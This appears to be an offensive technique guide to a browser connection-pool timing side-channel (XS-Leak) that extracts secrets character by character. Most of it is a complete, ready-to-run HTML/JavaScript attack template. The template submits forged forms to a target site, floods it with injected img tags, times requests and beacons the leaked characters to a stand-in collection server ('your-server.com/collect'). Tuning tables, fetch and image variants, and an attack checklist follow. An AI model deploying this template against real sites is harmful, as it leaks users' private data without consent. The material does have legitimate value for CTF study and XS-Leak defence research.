Connection Pool Timing Attack
A technique to leak data through timing side-channels by exploiting browser connection pool limits (Chrome allows 6 concurrent connections per origin).
Attack Overview
This attack works by:
- Injecting a payload with many
<img>tags loading a resource from the target origin - Triggering the connection pool limit (6 concurrent requests max in Chrome)
- Timing a request to the same origin
- Detecting whether the pool is blocked (slow = injection active) or free (fast = injection inactive)
- Iterating through possible characters to extract secrets
When to Use This Attack
- Blind XSS scenarios where you can't directly exfiltrate data
- When the target has conditional resource loading based on input
- CTF challenges with timing-based vulnerabilities
- When traditional XSS exfiltration (beacon, fetch, img) is blocked
- When you need to extract secrets character-by-character
Attack Pattern
Step 1: Create Payload with Many Image Tags
Inject a note/payload containing:
- The secret prefix + test character
- 70+
<img>tags pointing to a resource on the target origin
const payload =
`${prefix}${letter}` +
Array.from(Array(78))
.map((e, i) => `<img/src=/js/purify.js?${i}>`)
.join("")
Step 2: Time a Request to the Same Origin
function timeScript() {
return new Promise((resolve) => {
var x = document.createElement("script")
x.src = "https://target.com/js/purify.js?" + Math.random()
var start = Date.now()
x.onerror = () => {
resolve(Date.now() - start)
x.remove()
}
document.body.appendChild(x)
})
}
Step 3: Compare Timing
- Slow (>100ms): Connection pool is blocked → injection was active → character matches
- Fast (<100ms): Connection pool is free → injection was inactive → character doesn't match
Step 4: Iterate Through Alphabet
const alphabet = "zyxwvutsrqponmlkjihgfedcba_"
for (const letter of alphabet) {
if (await checkLetter(letter)) {
prefix += letter
break
}
}
Complete Attack Template
<html>
<head>
<script>
const SITE_URL = "https://target.com/"
const PING_URL = "https://your-server.com/collect"
const TIMEOUT = 500
const alphabet = "zyxwvutsrqponmlkjihgfedcba_"
var prefix = "FLAG{"
function timeScript() {
return new Promise((resolve) => {
var x = document.createElement("script")
x.src = SITE_URL + "js/purify.js?" + Math.random()
var start = Date.now()
x.onerror = () => {
resolve(Date.now() - start)
x.remove()
}
document.body.appendChild(x)
})
}
async function add_note(note) {
let x = document.createElement("form")
x.action = SITE_URL + "create"
x.method = "POST"
x.target = "xxx"
let i = document.createElement("input")
i.type = "text"
i.name = "text"
i.value = note
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}
async function remove_note(note_id) {
let x = document.createElement("form")
x.action = SITE_URL + "remove"
x.method = "POST"
x.target = "_blank"
let i = document.createElement("input")
i.type = "text"
i.name = "index"
i.value = note_id
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms))
async function checkLetter(letter) {
const payload =
`${prefix}${letter}` +
Array.from(Array(78))
.map((e, i) => `<img/src=/js/purify.js?${i}>`)
.join("")
await add_note(payload)
await sleep(TIMEOUT)
await timeScript()
await remove_note(1)
await sleep(TIMEOUT)
const time = await timeScript()
navigator.sendBeacon(PING_URL, [letter, time])
return time > 100
}
window.onload = async () => {
navigator.sendBeacon(PING_URL, "start")
for (const letter of alphabet) {
if (await checkLetter(letter)) {
prefix += letter
navigator.sendBeacon(PING_URL, prefix)
break
}
}
}
</script>
</head>
<body></body>
</html>
Key Parameters to Tune
| Parameter | Default | Purpose |
|---|---|---|
TIMEOUT |
500ms | Wait time between operations |
threshold |
100ms | Timing threshold for detection |
img_count |
78 | Number of img tags (must exceed 6) |
alphabet |
a-z_ | Characters to test |
Detection Threshold
The threshold (100ms in the example) should be calibrated based on:
- Network latency to the target
- Server response time
- Number of concurrent connections being blocked
Calibration method:
- Run the attack without the injection active
- Measure baseline timing
- Set threshold to baseline + margin (e.g., 2x baseline)
Browser Compatibility
| Browser | Connection Limit | Notes |
|---|---|---|
| Chrome | 6 per origin | Primary target |
| Firefox | 6 per origin | Similar behavior |
| Safari | 6 per origin | May vary by version |
Limitations
- Slow: Character-by-character extraction takes time
- Unreliable: Network jitter can cause false positives
- Requires: Conditional resource loading on target
- Browser-dependent: Connection limits vary by browser
Variations
Using Images Instead of Scripts
function timeImage() {
return new Promise((resolve) => {
var img = new Image()
img.src = SITE_URL + "js/purify.js?" + Math.random()
var start = Date.now()
img.onload = img.onerror = () => {
resolve(Date.now() - start)
}
})
}
Using Fetch API
async function timeFetch() {
const start = Date.now()
try {
await fetch(SITE_URL + "js/purify.js?" + Math.random())
} catch (e) {}
return Date.now() - start
}
Testing Checklist
- Confirm target has conditional resource loading
- Verify connection pool limit on target browser
- Calibrate timing threshold
- Test with known input first
- Set up beacon server to collect results
- Account for network latency
References
- Original exploit by @terjanq
- Chrome connection pool limits: 6 concurrent connections per origin
- Timing side-channel attacks in XSS contexts